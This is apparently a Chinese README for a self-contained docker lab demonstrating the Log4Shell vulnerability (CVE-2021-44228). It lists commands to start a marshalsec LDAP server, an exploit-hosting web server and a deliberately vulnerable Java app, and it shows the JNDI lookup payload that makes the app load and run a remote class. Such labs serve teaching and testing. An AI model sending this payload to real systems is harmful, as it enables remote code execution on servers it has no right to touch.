CVE-2021-44228_示例
在单独的标签页/控制台中运行每个部分
docker build -t marshalsec marshalsec/.
docker run -it --rm -p 1389:1389 --add-host=host.docker.internal:172.17.0.1 --name marshalsec marshalsec
漏洞利用 Web 服务器
docker build -t exploit ./exploit
docker run -it --rm -p 8888:8888 --add-host=host.docker.internal:172.17.0.1 --name exploit exploit
实验品 Java 应用程序(运行存在漏洞版本的 Java 和 Log4J)
docker build -t guinea_pig guinea_pig/.
docker run -it --rm --add-host=host.docker.internal:172.17.0.1 --name guinea_pig guinea_pig
运行 guinea_pig 时,应看到以下日志:
PWND!
[main] ERROR gp.GuineaPig - ${jndi:ldap://host.docker.internal:1389/#Exploit}
"PWND!" 是从外部注入的类(Exploit)中记录的